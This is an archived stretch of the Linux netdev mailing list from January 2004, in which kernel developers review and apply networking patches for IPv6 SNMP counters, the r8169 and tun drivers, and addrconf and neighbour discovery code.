(d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0LJjWEA061404; Wed, 21 Jan 2004 12:45:33 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: "David S. Miller" Cc: mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Wed, 21 Jan 2004 11:45:30 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/21/2004 12:45:33 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4B1DFFF92BB8f9e8a93df938690918c08BBE4B1DFFF92BB" Content-Disposition: inline X-archive-position: 2653 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev --0__=08BBE4B1DFFF92BB8f9e8a93df938690918c08BBE4B1DFFF92BB Content-type: text/plain; charset=US-ASCII Hi, Dave, > So I'm going to let this sit for another day or two so people can voice any objections they may have. Did you hear different voices? If not could you please check in this patch? I am going to submit another patch about new IPv6 MIBs system & interface statistics counters for your review, which depends on this one. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --0__=08BBE4B1DFFF92BB8f9e8a93df938690918c08BBE4B1DFFF92BB Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Hi, Dave,

> So I'm going to let this sit for another day or two so people can voice any
objections they may have.

Did you hear different voices? If not could you please check in this patch?
I am going to submit another patch about new IPv6 MIBs system & interface statistics counters for your review, which depends on this one.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228 --0__=08BBE4B1DFFF92BB8f9e8a93df938690918c08BBE4B1DFFF92BB-- From yoshfuji@linux-ipv6.org Wed Jan 21 12:27:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 12:27:35 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LKRDmK000792 for ; Wed, 21 Jan 2004 12:27:16 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 2271B33CA5; Thu, 22 Jan 2004 05:27:48 +0900 (JST) Date: Thu, 22 Jan 2004 05:27:47 +0900 (JST) Message-Id: <20040122.052747.15334487.yoshfuji@linux-ipv6.org> To: xma@us.ibm.com Cc: davem@redhat.com, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2654 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Wed, 21 Jan 2004 11:45:30 -0800), Shirley Ma says: > > So I'm going to let this sit for another day or two so people can voice > any > objections they may have. > > Did you hear different voices? If not could you please check in this patch? I'm not against holding in u64, but I rebember that Linus did not liked that. Is it okay? BTW, diff -urN linux-2.6.1/net/ipv6/proc.c linux-2.6.1-ipv6mib2-64/net/ipv6/proc.c : struct snmp6_item { char *name; + int size; int offset; }; : + if (size == 4) { + res += *((__u32 *) + (((void *)per_cpu_ptr(mib[0], i)) + offt)); + res += *((__u32 *) + (((void *)per_cpu_ptr(mib[1], i)) + offt)); + } else if (size == 8) { + res += *((__u64 *) + (((void *)per_cpu_ptr(mib[0], i)) + offt)); + res += *((__u32 *) ~~~~~__u64? + (((void *)per_cpu_ptr(mib[1], i)) + offt)); + } I don't understand who really requires the "size" field. The size is always 8, isn't it? Am I missing sonething? I'd prefer: if (size == sizeof(u32)) { : } else if (size == sizeof(u64) { : } > I am going to submit another patch about new IPv6 MIBs system & interface > statistics counters for your review, which depends on this one. Please be sure not to change the interface when you submit the next patch. --yoshfuji From maxk@qualcomm.com Wed Jan 21 12:49:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 12:49:45 -0800 (PST) Received: from ithilien.qualcomm.com (ithilien.qualcomm.com [129.46.51.59]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LKnUmK001640 for ; Wed, 21 Jan 2004 12:49:30 -0800 Received: from sabrina.qualcomm.com (sabrina.qualcomm.com [129.46.61.150]) by ithilien.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i0LKnPH8013379; Wed, 21 Jan 2004 12:49:25 -0800 (PST) Received: from [129.46.89.30] (workie.qualcomm.com [129.46.89.30]) by sabrina.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i0LKnN0N009416; Wed, 21 Jan 2004 12:49:23 -0800 (PST) Subject: Re: [PATCH 1/5] tun check error on memcpy_fromiovec From: Max Krasnyansky To: Chris Wright Cc: maximilian attems , netdev@oss.sgi.com In-Reply-To: <20040116164512.C19034@osdlab.pdx.osdl.net> References: <20031208202302.C30587@build.pdx.osdl.net> <20031219103457.GD1213@mail.sternwelten.at> <20040116164512.C19034@osdlab.pdx.osdl.net> Content-Type: text/plain Message-Id: <1074718162.1707.194.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Wed, 21 Jan 2004 12:49:23 -0800 Content-Transfer-Encoding: 7bit X-archive-position: 2655 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: maxk@qualcomm.com Precedence: bulk X-list: netdev On Fri, 2004-01-16 at 16:45, Chris Wright wrote: > * maximilian attems (janitor@sternwelten.at) wrote: > > hey chris, > > > > after applying your 4 patches on top of linux-2.6.0 > > + experimental net, > > found 2 last unchecked memcpy_fromiovec in tun.c > > patch bellow fixes the second call, > > the first is beyond me, please complete this patch :) > > compile tested > > I specifically left those alone. They have a semi-bogus verify_area() > call that is trying to insure the memcpy_fromiovec won't EFAULT. I'd > prefer to remove them and simply do memcpy checking. Folks, Please don't add extra unneeded checks or fix stuff that does not need to be fixed. Verify area is not bogus. We need to know total length of the iovec so we might as well check it in the same loop and not bother with checking later. Thanks Max From davem@pizda.ninka.net Wed Jan 21 14:14:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 14:14:56 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LMEXmK003784 for ; Wed, 21 Jan 2004 14:14:33 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id OAA07095; Wed, 21 Jan 2004 14:05:35 -0800 Date: Wed, 21 Jan 2004 14:05:35 -0800 From: "David S. Miller" To: Shirley Ma Cc: mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c Message-Id: <20040121140535.518571cd.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2656 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 21 Jan 2004 11:45:30 -0800 Shirley Ma wrote: > Did you hear different voices? If not could you please check in this patch? > I am going to submit another patch about new IPv6 MIBs system & interface > statistics counters for your review, which depends on this one. No objections, and I am fine with the change as well. However, I think I will defer it as 2.6.x has a lot of changes in it already. Definitely next release. From davem@pizda.ninka.net Wed Jan 21 14:16:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 14:16:51 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LMGcmK004097 for ; Wed, 21 Jan 2004 14:16:38 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id OAA07129; Wed, 21 Jan 2004 14:07:18 -0800 Date: Wed, 21 Jan 2004 14:07:18 -0800 From: "David S. Miller" To: Ville Nuorvala Cc: aj@dungeon.inka.de, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH] IPv6: fix saddr checking bug in datagram_send_ctl() Message-Id: <20040121140718.31deafeb.davem@redhat.com> In-Reply-To: References: <1074683199.1172.26.camel@simulacron> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2657 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 21 Jan 2004 17:03:07 +0200 (EET) Ville Nuorvala wrote: > I'm sorry, a bug had slipped into my link-local checking patch, which > Andreas noticed. > > Here is the fix. Applied, thanks Ville. From xma@us.ibm.com Wed Jan 21 15:47:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 15:47:22 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LNksmK006650 for ; Wed, 21 Jan 2004 15:47:03 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0LNj8Fn442956; Wed, 21 Jan 2004 18:45:18 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0LNivgR116188; Wed, 21 Jan 2004 16:44:58 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Wed, 21 Jan 2004 15:44:54 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/21/2004 16:44:57 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4B1DF11C7248f9e8a93df938690918c08BBE4B1DF11C724" Content-Disposition: inline X-archive-position: 2658 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev --0__=08BBE4B1DF11C7248f9e8a93df938690918c08BBE4B1DF11C724 Content-type: text/plain; charset=US-ASCII Thanks for the input. I will fix it. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --0__=08BBE4B1DF11C7248f9e8a93df938690918c08BBE4B1DF11C724 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Thanks for the input. I will fix it.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228
--0__=08BBE4B1DF11C7248f9e8a93df938690918c08BBE4B1DF11C724-- From romieu@fr.zoreil.com Wed Jan 21 16:00:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 16:00:13 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LNxumK007245 for ; Wed, 21 Jan 2004 15:59:59 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0LNxfgf027876; Thu, 22 Jan 2004 00:59:41 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0LNxerd027875; Thu, 22 Jan 2004 00:59:40 +0100 Date: Thu, 22 Jan 2004 00:59:40 +0100 From: Francois Romieu To: Srihari Vijayaraghavan Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PROBLEM] r8169 deadlocks Message-ID: <20040122005940.A26438@electric-eye.fr.zoreil.com> References: <200401152039.00182.harisri@bigpond.com> <200401202150.12892.harisri@bigpond.com> <20040120215230.A8935@electric-eye.fr.zoreil.com> <200401212115.45027.harisri@bigpond.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="YZ5djTAD1cGYuMQK" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200401212115.45027.harisri@bigpond.com>; from harisri@bigpond.com on Wed, Jan 21, 2004 at 09:15:44PM +1100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2659 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev --YZ5djTAD1cGYuMQK Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Srihari Vijayaraghavan : [...] > I have a good news: I checked out things as usual under vanilla > linux-2.6.2-rc1, and to my surprise Kernel does not hang anymore :-). > (although Tx counter not incrementing is altogether another problem). r8169 did not evolve between 2.6.1 and 2.6.2-rc1. Change of behavior probably comes from some other part of the kernel. Joy. > If you want me to I can test your r8169-tc-index-overflow.patch. See attachment. It applies against plain 2.6.2-rc1. -- Ueimor --YZ5djTAD1cGYuMQK Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="r8169.c-diff" --- linux-2.6.2-rc1/drivers/net/r8169.c.orig 2004-01-22 00:41:03.000000000 +0100 +++ linux-2.6.2-rc1/drivers/net/r8169.c 2004-01-22 00:46:46.000000000 +0100 @@ -871,7 +871,6 @@ rtl8169_tx_interrupt(struct net_device * void *ioaddr) { unsigned long dirty_tx, tx_left = 0; - int entry = tp->cur_tx % NUM_TX_DESC; assert(dev != NULL); assert(tp != NULL); @@ -881,14 +880,14 @@ rtl8169_tx_interrupt(struct net_device * tx_left = tp->cur_tx - dirty_tx; while (tx_left > 0) { + int entry = dirty_tx % NUM_TX_DESC; + if ((tp->TxDescArray[entry].status & OWNbit) == 0) { - dev_kfree_skb_irq(tp-> - Tx_skbuff[dirty_tx % NUM_TX_DESC]); - tp->Tx_skbuff[dirty_tx % NUM_TX_DESC] = NULL; + dev_kfree_skb_irq(tp->Tx_skbuff[entry]); + tp->Tx_skbuff[entry] = NULL; tp->stats.tx_packets++; dirty_tx++; tx_left--; - entry++; } } --YZ5djTAD1cGYuMQK-- From yoshfuji@linux-ipv6.org Wed Jan 21 18:50:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 18:50:32 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0M2o8mK013799 for ; Wed, 21 Jan 2004 18:50:09 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 7CB0D33CA5; Thu, 22 Jan 2004 11:10:54 +0900 (JST) Date: Thu, 22 Jan 2004 11:10:54 +0900 (JST) Message-Id: <20040122.111054.106114998.yoshfuji@linux-ipv6.org> To: shemminger@osdl.org Cc: davem@redhat.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] (2/4) support large number of network devices -- name hash From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040119112850.3b3575a7.shemminger@osdl.org> References: <20040116154814.7c7f31ac.shemminger@osdl.org> <20040117.112244.90941296.yoshfuji@linux-ipv6.org> <20040119112850.3b3575a7.shemminger@osdl.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2660 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040119112850.3b3575a7.shemminger@osdl.org> (at Mon, 19 Jan 2004 11:28:50 -0800), Stephen Hemminger says: > Use strnlen, great idea, thanks. > - size_t len = min(strlen(name),(size_t)(IFNAMSIZ-1)); > - unsigned hash = full_name_hash(name, len); > + unsigned hash = full_name_hash(name, > + strnlen(name, IFNAMSIZ-1)); I prefer IFNAMSIZ over IFNAMSIZ-1 here bacause maximum length of valid name is IFNAMSIZ-1. strnlen(3): size_t strnlen(const char *s, size_t maxlen); : The strnlen function returns strlen(s), if that is less than maxlen, or maxlen if there is no '\0' character among the first maxlen characters pointed to by s. If strnlen(name,IFNAMSIZ) returns IFNAMSIZ, name is not terminated. while strnlen(name,IFNAMSIZ-1) does not tell whether it is terminated or not. --yoshfuji From davem@pizda.ninka.net Wed Jan 21 22:20:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 22:20:16 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0M6K1mK021682 for ; Wed, 21 Jan 2004 22:20:03 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA07966; Wed, 21 Jan 2004 22:11:43 -0800 Date: Wed, 21 Jan 2004 22:11:42 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: add missing sentinel for addrconf procfs Message-Id: <20040121221142.1786ca19.davem@redhat.com> In-Reply-To: <20040120104820.77ff135f.shemminger@osdl.org> References: <20040120.094223.76534381.yoshfuji@linux-ipv6.org> <20040120104820.77ff135f.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2661 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 20 Jan 2004 10:48:20 -0800 Stephen Hemminger wrote: > On Tue, 20 Jan 2004 09:42:23 +0900 (JST) > YOSHIFUJI Hideaki / ____________ wrote: > > > Sorry, I forgot to increase the number of members in the array and > > that the sentinel was removed. > > So, add missing sentinel explicitly. > > How about adding all them explicitly to prevent future errors? Applied, thanks Stephen. From davem@pizda.ninka.net Wed Jan 21 22:22:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 22:23:08 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0M6MrmK021984 for ; Wed, 21 Jan 2004 22:22:53 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA07988; Wed, 21 Jan 2004 22:14:21 -0800 Date: Wed, 21 Jan 2004 22:14:21 -0800 From: "David S. Miller" To: Krishna Kumar Cc: netdev@oss.sgi.com, krkumar@us.ibm.com Subject: Re: [PATCH] Uninitialized dst in ip6_dst_lookup Message-Id: <20040121221421.11399ba3.davem@redhat.com> In-Reply-To: References: <20040119211156.4bff1640.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2662 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 20 Jan 2004 11:46:02 -0800 (PST) Krishna Kumar wrote: > ip6_dst_lookup() is supposed to fill in the *dst, hence it must not > dereference *dst until it allocates it. However if the passed sk is > NULL and *dst is not set by the caller, the following code will > dereference uninitialized memory : > > if (*dst == NULL) > *dst = ip6_route_output(sk, fl); >>>>> will not execute > if ((err = (*dst)->error)) >>>>> dereference bad stack address. > goto out_err_release; > > I am suggesting moving the responsibility of ensuring a good *dst from the > callers to ip6_dst_lookup(). I agree, patch applied. Thanks. From davem@pizda.ninka.net Wed Jan 21 22:24:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 22:24:15 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0M6O2mK022351 for ; Wed, 21 Jan 2004 22:24:02 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA08013; Wed, 21 Jan 2004 22:15:31 -0800 Date: Wed, 21 Jan 2004 22:15:31 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com, rddunlap@osdl.org, venza@libero.it Subject: Re: [PATCH][ATM]: [horizon] avoid warning about limited range of data type Message-Id: <20040121221531.10e4f8a2.davem@redhat.com> In-Reply-To: <200401210124.i0L1OZRr014516@ginger.cmf.nrl.navy.mil> References: <200401210124.i0L1OZRr014516@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2663 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 20 Jan 2004 20:24:37 -0500 chas williams (contractor) wrote: > this patch fixes the horizon driver so that it will compile > without a warning. Applied, I assumed this was meant for 2.6.x only. Thanks. From davem@pizda.ninka.net Wed Jan 21 22:43:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 22:44:09 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0M6hpmK023594 for ; Wed, 21 Jan 2004 22:43:51 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA08092; Wed, 21 Jan 2004 22:34:32 -0800 Date: Wed, 21 Jan 2004 22:34:31 -0800 From: "David S. Miller" To: Ville Nuorvala Cc: netdev@oss.sgi.com Subject: Re: [PATCH 2/2] IPv6: strict address checks even on globals in ndisc Message-Id: <20040121223431.5929dca1.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2664 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 14 Jan 2004 11:08:04 +0200 (EET) Ville Nuorvala wrote: > The attached patch adds a "strict" parameter to ip6_chk_addr() and > ip6_get_ifaddr() to allow link-local protocols like ND and DAD to do > strict address checks even on addresses with greater scope than > link-local. Looks fine, applied. Thanks Ville. From harisri@bigpond.com Thu Jan 22 02:31:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 02:31:26 -0800 (PST) Received: from gizmo11ps.bigpond.com (gizmo11ps.bigpond.com [144.140.71.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MAV8mK032311 for ; Thu, 22 Jan 2004 02:31:09 -0800 Received: (qmail 14363 invoked from network); 22 Jan 2004 10:26:50 -0000 Received: from unknown (HELO psmam09.bigpond.com) (144.135.25.94) by gizmo11ps.bigpond.com with SMTP; 22 Jan 2004 10:26:50 -0000 Received: from 144.138.164.159 ([144.138.164.159]) by psmam09.bigpond.com(MAM REL_3_4_2 156/32965234) with SMTP id 32965234; Thu, 22 Jan 2004 20:31:01 +1000 From: Srihari Vijayaraghavan To: Francois Romieu Subject: Re: [PROBLEM] r8169 deadlocks Date: Thu, 22 Jan 2004 21:32:06 +1100 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com, jgarzik@pobox.com References: <200401152039.00182.harisri@bigpond.com> <200401212115.45027.harisri@bigpond.com> <20040122005940.A26438@electric-eye.fr.zoreil.com> In-Reply-To: <20040122005940.A26438@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401222132.07355.harisri@bigpond.com> X-archive-position: 2665 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: harisri@bigpond.com Precedence: bulk X-list: netdev Hello Francois, On Thursday 22 January 2004 10:59, Francois Romieu wrote: > [...] > r8169 did not evolve between 2.6.1 and 2.6.2-rc1. Change of behavior > probably comes from some other part of the kernel. Joy. > > > If you want me to I can test your r8169-tc-index-overflow.patch. > > See attachment. It applies against plain 2.6.2-rc1. OK. I have applied your patch and I have tested my computer under moderate to high network load. Although I may not have the kind of network load to trigger the bug your patch is meant to attack, I can confirm there is no stability issue with your patch. Thanks Hari From vnuorval@tcs.hut.fi Thu Jan 22 02:59:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 02:59:24 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MAx9mK002107 for ; Thu, 22 Jan 2004 02:59:10 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 7648A800195; Thu, 22 Jan 2004 12:59:08 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0MAx87Y001648; Thu, 22 Jan 2004 12:59:08 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0MAx7qa001644; Thu, 22 Jan 2004 12:59:07 +0200 Date: Thu, 22 Jan 2004 12:59:07 +0200 (EET) From: Ville Nuorvala To: davem@redhat.com, yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: [PATCH|RFC] IPv6: Equal behavior in addrconf_sysctl_forward() and addrconf_sysctl_forward_strategy() Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2666 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Hi guys, is there any reason for _forward() to call rt6_purge_dflt_routers(), but _forward_strategy() not do the same? If no, the patch below should fix this. Thanks, Ville ===== net/ipv6/addrconf.c 1.86 vs edited ===== --- 1.86/net/ipv6/addrconf.c Tue Jan 20 06:59:54 2004 +++ edited/net/ipv6/addrconf.c Thu Jan 22 12:22:21 2004 @@ -3030,6 +3030,9 @@ idev = NULL; *valp = new; addrconf_forward_change(idev); + + if (*valp) + rt6_purge_dflt_routers(0); } else *valp = new; -- Ville 